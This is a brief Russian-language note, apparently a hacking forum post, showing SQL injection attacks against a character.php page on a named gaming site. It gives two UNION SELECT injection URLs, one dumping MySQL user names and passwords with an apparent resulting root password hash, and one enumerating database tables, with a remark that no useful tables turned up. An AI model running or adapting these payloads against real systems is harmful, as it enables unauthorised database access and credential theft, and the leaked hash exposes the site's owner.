ПР7
http://www.allgame.com/character.php?id=1704'+union+select+1,concat(user, char(58),password),3,4+from+mysql.user+--+
root *25F49005CFA966D47EFBF9A8FFE15F72A8352AAA

http://www.allgame.com/character.php?id=1704'+union+select+unhex(hex(tabl e_name)),2,3,4+from+information_schema.tables+limi t+128,1000+--+
Полезных табл не нашёл(